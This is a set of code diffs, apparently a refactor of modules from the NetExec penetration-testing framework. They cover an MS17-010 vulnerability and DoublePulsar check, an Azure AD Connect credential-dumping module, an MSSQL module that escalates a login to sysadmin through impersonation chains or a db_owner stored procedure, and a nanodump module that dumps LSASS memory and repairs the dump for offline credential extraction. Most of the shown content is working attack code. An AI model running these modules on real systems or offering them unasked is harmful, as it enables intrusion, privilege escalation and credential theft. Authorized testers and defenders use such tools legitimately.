||||
b"\x00",
|
||||
b"\x00",
|
||||
b"\x00\x00",
|
||||
b"\xa6\xd9\xa4\x00", # Timeout: 3 hours, 3.622 seconds
|
||||
b"\x00\x00",
|
||||
b"\x0c\x00",
|
||||
b"\x42\x00",
|
||||
b"\x00\x00",
|
||||
b"\x4e\x00",
|
||||
b"\x01",
|
||||
b"\x00",
|
||||
b"\x0e\x00", # subcommand: SESSION_SETUP
|
||||
b"\x00\x00",
|
||||
b"\x0c\x00" + b"\x00" * 12,
|
||||
]
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
|
||||
|
||||
|
||||
def check(self, ip, port=445):
|
||||
"""Check if MS17_010 SMB Vulnerability exists.
|
||||
|
||||
Args:
|
||||
----
|
||||
ip (str): The IP address of the target machine.
|
||||
port (int, optional): The port number to connect to. Defaults to 445.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the vulnerability exists, False otherwise.
|
||||
"""
|
||||
buffersize = 1024
|
||||
timeout = 5.0
|
||||
|
||||
# Send smb request based on socket.
|
||||
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
client.settimeout(timeout)
|
||||
client.connect((ip, port))
|
||||
|
||||
raw_proto = negotiate_proto_request()
|
||||
# SMB - Negotiate Protocol Request
|
||||
raw_proto = self.negotiate_proto_request()
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
raw_proto = session_setup_andx_request()
|
||||
# SMB - Session Setup AndX Request
|
||||
raw_proto = self.session_setup_andx_request()
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
netbios = tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36] # SMB Header: 32 bytes
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
user_id = struct.pack("<H", smb.user_id)
|
||||
|
||||
# parse native_os from Session Setup Andx Response
|
||||
session_setup_andx_response = tcp_response[36:]
|
||||
native_os = session_setup_andx_response[9:].split("\x00")[0]
|
||||
native_os = session_setup_andx_response[9:].split(b"\x00")[0]
|
||||
|
||||
raw_proto = tree_connect_andx_request(ip, user_id)
|
||||
# SMB - Tree Connect AndX Request
|
||||
raw_proto = self.tree_connect_andx_request(ip, user_id)
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
netbios = tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36] # SMB Header: 32 bytes
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
tree_id = struct.pack("<H", smb.tree_id)
|
||||
process_id = struct.pack("<H", smb.process_id)
|
||||
user_id = struct.pack("<H", smb.user_id)
|
||||
multiplex_id = struct.pack("<H", smb.multiplex_id)
|
||||
|
||||
raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
|
||||
# SMB - PeekNamedPipe Request
|
||||
raw_proto = self.peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
netbios = tcp_response[:4]
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
nt_status = struct.pack("BBH", smb.error_class, smb.reserved1, smb.error_code)
|
||||
self.logger.debug(f"NT Status: {nt_status}")
|
||||
|
||||
if nt_status == "\x05\x02\x00\xc0":
|
||||
return True
|
||||
elif nt_status in ("\x08\x00\x00\xc0", "\x22\x00\x00\xc0"):
|
||||
return False
|
||||
# 0xC0000205 - STATUS_INSUFF_SERVER_RESOURCES - vulnerable
|
||||
# 0xC0000008 - STATUS_INVALID_HANDLE
|
||||
# 0xC0000022 - STATUS_ACCESS_DENIED
|
||||
|
||||
if nt_status == b"\x05\x02\x00\xc0":
|
||||
self.logger.highlight(f"[+] {ip} is likely VULNERABLE to MS17-010! ({native_os.decode()})")
|
||||
|
||||
# vulnerable to MS17-010, check for DoublePulsar infection
|
||||
raw_proto = self.trans2_request(tree_id, process_id, user_id, multiplex_id)
|
||||
client.send(raw_proto)
|
||||
tcp_response = client.recv(buffersize)
|
||||
|
||||
tcp_response[:4]
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SmbHeader(smb_header)
|
||||
|
||||
if smb.multiplex_id == 0x0051:
|
||||
key = self.calculate_doublepulsar_xor_key(smb.signature)
|
||||
self.logger.highlight(f"Host is likely INFECTED with DoublePulsar! - XOR Key: {key.decode()}")
|
||||
elif nt_status in (b"\x08\x00\x00\xc0", b"\x22\x00\x00\xc0"):
|
||||
self.logger.fail(f"{ip} does NOT appear vulnerable")
|
||||
else:
|
||||
return False
|
||||
self.logger.fail(f"{ip} Unable to detect if this host is vulnerable")
|
||||
|
||||
except Exception as err:
|
||||
return False
|
||||
finally:
|
||||
client.close()
|
||||
+16
-11
@@ -3,6 +3,7 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
from nxc.paths import TMP_PATH
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -27,9 +28,7 @@ class NXCModule:
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
MSOL_PS1 // Path to the msol binary on your computer
|
||||
"""
|
||||
"""MSOL_PS1 // Path to the msol binary on your computer"""
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
@@ -37,7 +36,7 @@ class NXCModule:
|
||||
self.use_embedded = True
|
||||
self.msolmdl = self.cmd = ""
|
||||
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
|
||||
self.msol_embedded = msolsc.read()
|
||||
|
||||
if "MSOL_PS1" in module_options:
|
||||
@@ -50,9 +49,15 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
file_to_upload = self.MSOL_PS1
|
||||
@@ -64,25 +69,25 @@ class NXCModule:
|
||||
with open(file_to_upload, "rb") as msol:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
|
||||
context.log.success(f"Msol script successfully uploaded")
|
||||
context.log.success("Msol script successfully uploaded")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
|
||||
return
|
||||
try:
|
||||
if self.cmd == "":
|
||||
context.log.display(f"Executing the script")
|
||||
context.log.display("Executing the script")
|
||||
p = self.exec_script(context, connection)
|
||||
for line in p.splitlines():
|
||||
p1, p2 = line.split(" ", 1)
|
||||
context.log.highlight(f"{p1} {p2}")
|
||||
else:
|
||||
context.log.fail(f"Script Execution Impossible")
|
||||
context.log.fail("Script Execution Impossible")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error running command: {e}")
|
||||
finally:
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
|
||||
context.log.success(f"Msol script successfully deleted")
|
||||
context.log.success("Msol script successfully deleted")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
|
||||
+248
-79
@@ -1,9 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author:
|
||||
# Romain de Reydellet (@pentest_soka)
|
||||
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
@@ -22,9 +18,7 @@ class User:
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate MSSQL privileges and exploit them
|
||||
"""
|
||||
"""Enumerate MSSQL privileges and exploit them"""
|
||||
|
||||
name = "mssql_priv"
|
||||
description = "Enumerate and exploit MSSQL privileges"
|
||||
@@ -48,12 +42,12 @@ class NXCModule:
|
||||
- rollback (remove sysadmin privilege)
|
||||
"""
|
||||
self.action = None
|
||||
self.context = context
|
||||
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
# get mssql connection
|
||||
self.mssql_conn = connection.conn
|
||||
# fetch the current user
|
||||
@@ -92,9 +86,20 @@ class NXCModule:
|
||||
elif target_user.dbowner:
|
||||
self.do_dbowner_privesc(target_user.dbowner, exec_as)
|
||||
if self.is_admin_user(self.current_username):
|
||||
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("nxc", "pwn3d_label"))))
|
||||
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight(f"({self.context.conf.get('nxc', 'pwn3d_label')})"))
|
||||
|
||||
def build_exec_as_from_path(self, target_user):
|
||||
"""
|
||||
Builds an 'exec_as' path based on the given target user.
|
||||
|
||||
Args:
|
||||
----
|
||||
target_user (User): The target user for building the 'exec_as' path.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The 'exec_as' path built from the target user's username and its parent usernames.
|
||||
"""
|
||||
path = [target_user.username]
|
||||
parent = target_user.parent
|
||||
while parent:
|
||||
@@ -105,6 +110,19 @@ class NXCModule:
|
||||
return self.sql_exec_as(reversed(path))
|
||||
|
||||
def browse_path(self, context, initial_user: User, user: User) -> User:
|
||||
"""
|
||||
Browse the path of user impersonation.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
context (Context): The context of the function.
|
||||
initial_user (User): The initial user.
|
||||
user (User): The user to browse the path for.
|
||||
|
||||
Returns
|
||||
-------
|
||||
User: The user that can be impersonated.
|
||||
"""
|
||||
if initial_user.is_sysadmin:
|
||||
self.context.log.success(f"{initial_user.username} is sysadmin")
|
||||
return initial_user
|
||||
@@ -113,7 +131,7 @@ class NXCModule:
|
||||
return initial_user
|
||||
for grantor in user.grantors:
|
||||
if grantor.is_sysadmin:
|
||||
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
|
||||
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (sysadmin)")
|
||||
return grantor
|
||||
elif grantor.dbowner:
|
||||
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
|
||||
@@ -123,23 +141,50 @@ class NXCModule:
|
||||
return self.browse_path(context, initial_user, grantor)
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
# try:
|
||||
results = self.mssql_conn.sql_query(query)
|
||||
# self.mssql_conn.printRows()
|
||||
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
# query_output = results.strip("\n-")
|
||||
return results
|
||||
# except Exception as e:
|
||||
# return False
|
||||
return self.mssql_conn.sql_query(query)
|
||||
|
||||
def sql_exec_as(self, grantors: list) -> str:
|
||||
exec_as = []
|
||||
for grantor in grantors:
|
||||
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
|
||||
"""
|
||||
Generates an SQL statement to execute a command using the specified list of grantors.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
grantors (list): A list of grantors, each representing a login.
|
||||
|
||||
Returns
|
||||
-------
|
||||
str: The SQL statement to execute the command using the grantors.
|
||||
"""
|
||||
exec_as = [f"EXECUTE AS LOGIN = '{grantor}';" for grantor in grantors]
|
||||
return "".join(exec_as)
|
||||
|
||||
def perform_impersonation_check(self, user: User, grantors=[]):
|
||||
def perform_impersonation_check(self, user: User, grantors=None):
|
||||
"""
|
||||
Performs an impersonation check for a given user.
|
||||
|
||||
Args:
|
||||
----
|
||||
user (User): The user for whom the impersonation check is being performed.
|
||||
grantors (list): A list of grantors. Default is an empty list.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
|
||||
Description:
|
||||
This function checks if the user has the necessary privileges to perform impersonation.
|
||||
If the user has the necessary privileges, the function returns without performing any further checks.
|
||||
If the user does not have the necessary privileges, the function retrieves a list of grantors
|
||||
who can impersonate the user and performs the same impersonation check on each grantor recursively.
|
||||
If a new grantor is found, it is added to the list of grantors and the impersonation check is performed on it.
|
||||
|
||||
Example Usage:
|
||||
perform_impersonation_check(user, grantors=['admin', 'manager'])
|
||||
|
||||
"""
|
||||
# build EXECUTE AS if any grantors is specified
|
||||
if grantors is None:
|
||||
grantors = []
|
||||
exec_as = self.sql_exec_as(grantors)
|
||||
# do we have any privilege ?
|
||||
if self.update_priv(user, exec_as):
|
||||
@@ -160,6 +205,18 @@ class NXCModule:
|
||||
self.perform_impersonation_check(new_user, grantors)
|
||||
|
||||
def update_priv(self, user: User, exec_as=""):
|
||||
"""
|
||||
Update the privileges of a user.
|
||||
|
||||
Args:
|
||||
----
|
||||
user (User): The user whose privileges need to be updated.
|
||||
exec_as (str): The username of the user executing the function.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the user is an admin user and their privileges are updated successfully, False otherwise.
|
||||
"""
|
||||
if self.is_admin_user(user.username):
|
||||
user.is_sysadmin = True
|
||||
return True
|
||||
@@ -167,96 +224,176 @@ class NXCModule:
|
||||
return user.dbowner
|
||||
|
||||
def get_current_username(self) -> str:
|
||||
"""
|
||||
Retrieves the current username.
|
||||
|
||||
:param self: The instance of the class.
|
||||
:return: The current username as a string.
|
||||
:rtype: str
|
||||
"""
|
||||
return self.query_and_get_output("select SUSER_NAME()")[0][""]
|
||||
|
||||
def is_admin(self, exec_as="") -> bool:
|
||||
"""
|
||||
Checks if the user is an admin.
|
||||
|
||||
Args:
|
||||
----
|
||||
exec_as (str): The user to execute the query as. Default is an empty string.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the user is an admin, False otherwise.
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
self.revert_context(exec_as)
|
||||
is_admin = res[0][""]
|
||||
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
||||
if is_admin:
|
||||
self.context.log.debug(f"User is admin!")
|
||||
self.context.log.debug("User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def get_databases(self, exec_as="") -> list:
|
||||
"""
|
||||
Retrieves a list of databases from the SQL server.
|
||||
|
||||
Args:
|
||||
----
|
||||
exec_as (str, optional): The username to execute the query as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list of database names.
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
|
||||
self.revert_context(exec_as)
|
||||
self.context.log.debug(f"Response: {res}")
|
||||
self.context.log.debug(f"Response Type: {type(res)}")
|
||||
tables = [table["name"] for table in res]
|
||||
return tables
|
||||
return [table["name"] for table in res]
|
||||
|
||||
def is_dbowner(self, database, exec_as="") -> bool:
|
||||
query = f"""select rp.name as database_role
|
||||
from [{database}].sys.database_role_members drm
|
||||
join [{database}].sys.database_principals rp
|
||||
on (drm.role_principal_id = rp.principal_id)
|
||||
join [{database}].sys.database_principals mp
|
||||
on (drm.member_principal_id = mp.principal_id)
|
||||
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
|
||||
self.context.log.debug(f"Query: {query}")
|
||||
def is_db_owner(self, database, exec_as="") -> bool:
|
||||
"""
|
||||
Check if the specified database is owned by the current user.
|
||||
|
||||
Args:
|
||||
----
|
||||
database (str): The name of the database to check.
|
||||
exec_as (str, optional): The name of the user to execute the query as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bool: True if the database is owned by the current user, False otherwise.
|
||||
"""
|
||||
query = f"""
|
||||
SELECT rp.name AS database_role
|
||||
FROM [{database}].sys.database_role_members drm
|
||||
JOIN [{database}].sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
|
||||
JOIN [{database}].sys.database_principals mp ON (drm.member_principal_id = mp.principal_id)
|
||||
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
|
||||
"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
self.context.log.debug(f"Response: {res}")
|
||||
self.revert_context(exec_as)
|
||||
if res:
|
||||
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
||||
return True
|
||||
return False
|
||||
|
||||
def find_dbowner_priv(self, databases, exec_as="") -> list:
|
||||
match = []
|
||||
for database in databases:
|
||||
if self.is_dbowner(database, exec_as):
|
||||
match.append(database)
|
||||
return match
|
||||
"""
|
||||
Finds the list of databases for which the specified user is the owner.
|
||||
|
||||
def find_trusted_db(self, exec_as="") -> list:
|
||||
query = """SELECT d.name AS DATABASENAME
|
||||
FROM sys.server_principals r
|
||||
INNER JOIN sys.server_role_members m
|
||||
ON r.principal_id = m.role_principal_id
|
||||
INNER JOIN sys.server_principals p ON
|
||||
p.principal_id = m.member_principal_id
|
||||
inner join sys.databases d
|
||||
on suser_sname(d.owner_sid) = p.name
|
||||
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
|
||||
and r.type = 'R' and r.name = N'sysadmin'"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
Args:
|
||||
----
|
||||
databases (list): A list of database names.
|
||||
exec_as (str, optional): The user to execute the check as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list of database names for which the specified user is the owner.
|
||||
"""
|
||||
return [database for database in databases if self.is_db_owner(database, exec_as)]
|
||||
|
||||
def find_trusted_databases(self, exec_as="") -> list:
|
||||
"""
|
||||
Find trusted databases.
|
||||
|
||||
:param exec_as: The user under whose context the query should be executed. Defaults to an empty string.
|
||||
:type exec_as: str
|
||||
:return: A list of trusted database names.
|
||||
:rtype: list
|
||||
"""
|
||||
query = """
|
||||
SELECT d.name AS DATABASENAME
|
||||
FROM sys.server_principals r
|
||||
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
|
||||
INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id
|
||||
INNER JOIN sys.databases d ON suser_sname(d.owner_sid) = p.name
|
||||
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
|
||||
AND r.type = 'R' AND r.name = N'sysadmin'
|
||||
"""
|
||||
result = self.query_and_get_output(exec_as + query)
|
||||
self.revert_context(exec_as)
|
||||
return res
|
||||
return result
|
||||
|
||||
def check_dbowner_privesc(self, exec_as=""):
|
||||
"""
|
||||
Check if a database owner has privilege escalation.
|
||||
|
||||
:param exec_as: The user to execute the check as. Defaults to an empty string.
|
||||
:type exec_as: str
|
||||
:return: The first trusted database that has a database owner with privilege escalation, or None if no such database is found.
|
||||
:rtype: str or None
|
||||
"""
|
||||
databases = self.get_databases(exec_as)
|
||||
dbowner = self.find_dbowner_priv(databases, exec_as)
|
||||
trusted_db = self.find_trusted_db(exec_as)
|
||||
# return the first match
|
||||
for db in dbowner:
|
||||
if db in trusted_db:
|
||||
dbowner_privileged_databases = self.find_dbowner_priv(databases, exec_as)
|
||||
trusted_databases = self.find_trusted_databases(exec_as)
|
||||
|
||||
for db in dbowner_privileged_databases:
|
||||
if db in trusted_databases:
|
||||
return db
|
||||
return None
|
||||
|
||||
def do_dbowner_privesc(self, database, exec_as=""):
|
||||
# change context if necessary
|
||||
"""
|
||||
Executes a series of SQL queries to perform a database owner privilege escalation.
|
||||
|
||||
Args:
|
||||
----
|
||||
database (str): The name of the database to perform the privilege escalation on.
|
||||
exec_as (str, optional): The username to execute the queries as. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
self.query_and_get_output(exec_as)
|
||||
# use database
|
||||
self.query_and_get_output(f"use {database};")
|
||||
query = f"""CREATE PROCEDURE sp_elevate_me
|
||||
|
||||
query = """CREATE PROCEDURE sp_elevate_me
|
||||
WITH EXECUTE AS OWNER
|
||||
as
|
||||
begin
|
||||
EXEC sp_addsrvrolemember '{self.current_username}','sysadmin'
|
||||
end"""
|
||||
self.query_and_get_output(query)
|
||||
|
||||
self.query_and_get_output("EXEC sp_elevate_me;")
|
||||
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
|
||||
|
||||
self.revert_context(exec_as)
|
||||
|
||||
def do_impersonation_privesc(self, username, exec_as=""):
|
||||
"""
|
||||
Perform an impersonation privilege escalation by changing the context to the specified user and granting them 'sysadmin' role.
|
||||
|
||||
:param username: The username of the user to escalate privileges for.
|
||||
:type username: str
|
||||
:param exec_as: The username to execute the query as. Defaults to an empty string.
|
||||
:type exec_as: str, optional
|
||||
|
||||
:return: None
|
||||
:rtype: None
|
||||
"""
|
||||
# change context if necessary
|
||||
self.query_and_get_output(exec_as)
|
||||
# update our privilege
|
||||
@@ -264,31 +401,63 @@ class NXCModule:
|
||||
self.revert_context(exec_as)
|
||||
|
||||
def get_impersonate_users(self, exec_as="") -> list:
|
||||
"""
|
||||
Retrieves a list of users who have the permission to impersonate other users.
|
||||
|
||||
Args:
|
||||
----
|
||||
exec_as (str, optional): The context in which the query will be executed. Defaults to "".
|
||||
|
||||
Returns:
|
||||
-------
|
||||
list: A list of user names who have the permission to impersonate other users.
|
||||
"""
|
||||
query = """SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name like 'IMPERSONATE%'"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
# self.context.log.debug(f"Result: {res}")
|
||||
self.revert_context(exec_as)
|
||||
users = [user["name"] for user in res]
|
||||
return users
|
||||
return [user["name"] for user in res]
|
||||
|
||||
def remove_sysadmin_priv(self) -> bool:
|
||||
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
|
||||
"""
|
||||
Remove the sysadmin privilege from the current user.
|
||||
|
||||
:return: True if the sysadmin privilege was successfully removed, False otherwise.
|
||||
:rtype: bool
|
||||
"""
|
||||
self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
|
||||
return not self.is_admin()
|
||||
|
||||
def is_admin_user(self, username) -> bool:
|
||||
"""
|
||||
Check if the given username belongs to an admin user.
|
||||
|
||||
:param username: The username to check.
|
||||
:type username: str
|
||||
:return: True if the username belongs to an admin user, False otherwise.
|
||||
:rtype: bool
|
||||
"""
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
try:
|
||||
if int(res):
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except:
|
||||
is_admin = res[0][""]
|
||||
if is_admin:
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def revert_context(self, exec_as):
|
||||
"""
|
||||
Reverts the context for the specified user.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
exec_as (str): The user for whom the context should be reverted.
|
||||
|
||||
Returns
|
||||
-------
|
||||
None
|
||||
"""
|
||||
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))
|
||||
+22
-26
@@ -1,12 +1,11 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# nanodump module for nxc python3
|
||||
# author of the module : github.com/mpgn
|
||||
# nanodump: https://github.com/helpsystems/nanodump
|
||||
|
||||
import os
|
||||
import base64
|
||||
import sys
|
||||
import pypykatz
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
@@ -34,13 +33,12 @@ class NXCModule:
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
||||
NANO_PATH Path where nano.exe is on your system (default: OS temp directory)
|
||||
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
|
||||
"""
|
||||
self.context = context
|
||||
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.remote_tmp_dir.split(":")[1]
|
||||
@@ -59,7 +57,6 @@ class NXCModule:
|
||||
self.useembeded = False
|
||||
else:
|
||||
self.nano_path = f"{tempfile.gettempdir()}"
|
||||
|
||||
self.dir_result = self.nano_path
|
||||
|
||||
if "NANO_EXE_NAME" in module_options:
|
||||
@@ -76,7 +73,7 @@ class NXCModule:
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
if self.useembeded:
|
||||
with open(self.nano_path + self.nano, "wb") as nano:
|
||||
with open(os.path.join(self.nano_path, self.nano), "wb") as nano:
|
||||
if self.connection.os_arch == 32 and self.context.protocol == "smb":
|
||||
self.context.log.display("32-bit Windows detected.")
|
||||
nano.write(self.nano_embedded32)
|
||||
@@ -90,17 +87,17 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
if self.context.protocol == "smb":
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
|
||||
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
|
||||
else:
|
||||
with open(self.nano_path + self.nano, "rb") as nano:
|
||||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
|
||||
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
|
||||
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
|
||||
@@ -113,20 +110,20 @@ class NXCModule:
|
||||
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
|
||||
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
|
||||
# execution fails, which it doesn't
|
||||
display_output = True if self.context.protocol == "smb" else False
|
||||
display_output = self.context.protocol == "smb"
|
||||
self.context.log.debug(f"Display Output: {display_output}")
|
||||
# get LSASS PID via `tasklist`
|
||||
command = 'tasklist /v /fo csv | findstr /i "lsass"'
|
||||
self.context.log.display(f"Getting LSASS PID via command {command}")
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"tasklist Command Result: {p}")
|
||||
if not p or p == "None":
|
||||
self.context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
self.context.log.debug(f"pid: {pid}")
|
||||
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
||||
@@ -138,7 +135,7 @@ class NXCModule:
|
||||
self.context.log.debug(f"NanoDump Command Result: {p}")
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail(f"Failed to execute command to execute NanoDump")
|
||||
self.context.log.fail("Failed to execute command to execute NanoDump")
|
||||
self.delete_nanodump_binary()
|
||||
return
|
||||
|
||||
@@ -154,7 +151,7 @@ class NXCModule:
|
||||
|
||||
if dump:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
@@ -176,7 +173,7 @@ class NXCModule:
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
@@ -190,14 +187,13 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}")
|
||||
|
||||
fh = open(filename, "r+b")
|
||||
fh.seek(0)
|
||||
fh.write(b"\x4d\x44\x4d\x50")
|
||||
fh.seek(4)
|
||||
fh.write(b"\xa7\x93")
|
||||
